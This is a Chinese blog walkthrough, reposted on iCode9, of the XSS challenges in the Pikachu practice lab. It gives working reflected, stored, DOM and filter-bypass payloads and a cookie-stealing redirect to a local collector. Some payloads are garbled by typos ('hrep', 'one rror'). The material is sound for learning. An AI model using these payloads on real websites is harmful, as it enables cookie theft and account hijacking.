ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pikachu xss练习随笔

2021-09-15 18:35:42  阅读:176  来源: 互联网

标签:xss pikachu html 文档 本题 随笔 数据 我们 输入


pikachu通关指南

1.反射性get

1.遇到的第一个障碍点就在于输入长度的限制,这种情况可以直接在前端的属性值进行修改,从而绕过输入长度的限制.

2.然后我们需要知道我们所输入的数据输出在了html文档中的什么地方,这点决定我们playload的写法.我们可以发现

<p class="notice">who is {your input},i dont care!</p>

所以我们可以直接注入最普通的方式.

<script>alert(document.domain)</script>

3.get型的显著特征就是输入数据可以反馈在url地址栏中.

2.反射型post

1.在用户登录处是没有什么漏洞的.

2.我们假设在此以窃取当前用户的cookie为目的话.

3.本处的的漏洞点与第一题一样.

4.本题注入代码

<script>document.location="http://127.0.0.1/pikachu-master/pkxss/xcookie/post.html"</script>

5.下面我们来简要的分析一下post.html这个文件

  • 这个文件的主题是一个表单,表单中有到另一个cookie.php文件的重定向.
  • 重定向的同时,对这个文件中的get参数进行了赋值,赋予了当前的cookie值.
  • 在cookie.html文件中做出了,更加详细的字符串处理,并把这些东西插入数据库.这个数据库也就我们后台网站的数据库.

3.存储型

1.这里我们处理输入数据到html文档中的形式和1,2类型完全相同.所以注入语句也都是一样的.

<script>alert(1)</script>

2.但是最大的不同就是后端对于这个post中数据的处理方式,我们可以在后端php种发现,他把数据插入到了mysql中,同时有没有任何过滤.

3.插入mysql时,再把数据库中的数据原封不动地输出到html文档中.所以数据库中的js脚本就会触发.

4.Dom型的xss(1)

1.仍然最重要的是,我们所输入数据后,这些数据html文档中是怎样体现的?他输出到了html文档中的什么地方

2.这次我们输入的数据输入到了标签

<a hrep="{your input}">what do you see?</a>

3.所以我们可以尝试注意下代码

<a hrep="javascript:alert(1)">what do you see?</a>
<a hrep="#" onclick=alert(11)>

4.dom在这里体现为,他修改了html纹的文档中的某些属性的值,我们输入的数据就是体现在这些被修改的值当中的.

5.Dom型的xss(2)

1.本处与上一个,手法一样,只不过我们所输入的数据输出点多藏了一层而已.

6.盲打

1.我们再次对输入页面进行分析,发现我们输入的数据没有输出在html的其他地方,因此我们可以说我们普通用户是无法被攻击的.

2.但是本题的数据,经过后端处理后,可以反馈在管理员用户的平台上,所以我们可以因此攻击到管理员,在这里我们也要明白一点,管理员也是客户端的一员.

3.我们所输入的数据还会载入管理员的数据库中,所以说这还是一个存储型的攻击.

7.过滤

1.本题的过滤方式在于使用正则表达式进行过滤

$message=preg_replace('/<(.*)s(.*)c(.*)i(.*)p(.*)t/','',$_GET['message']);

此处的过滤方式可以过滤到任何<script>的标签,双写之类的也是不管用的.所以我们可以考虑避免使用<script>

2.我们可以尝试构造下面语句

<img scr=x one rror=alert(1)>

8.html输出转译

1.本题最大的特点在于,当我们尝试把

<script>alert(1)</script>

输入的时候,这段代码居然被原模原样地输出在了html文档中,没有被当做脚本执行.

2.这说明后端可能对我们所输入的数据进行了处理

$message=htmlspecialchars($_GET['message']);
\\\
$html2="<a href='{$message}'>{$message}</a>";

3.那么我们该如何绕过呢?对于这个函数我们应该搞清楚,有哪些符号是没有被转译的.比如说",',<>等符号都是有可能被转译,所以我们可以尝试避免使用带这些符号的语句

<a href="javascript:alert(1)">

4.本函数的具体功能是将预定义的<和>转换成html实体,不是当作标签,而是当作一般的实体

9.href

1.本题有两种思路要么直接使用javascript:{}或者给予标签的合法闭合区构造可以执行的脚本语句

<a href="javascript:alert(1)">

我们可以发现这里难以构造合法的闭合语句

10.js输出

1.本题我们发现我们所输入的数据存在于一个<script>脚本里所以我们想办法注入到js代码中

2.尤其这里的js代码全部都写在一行,没有换行,安全性极差,可以注释掉一整行所以我们可以进行一下语句

1';alert(1);//

标签:xss,pikachu,html,文档,本题,随笔,数据,我们,输入
来源: https://www.cnblogs.com/yangfs2021/p/15275228.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有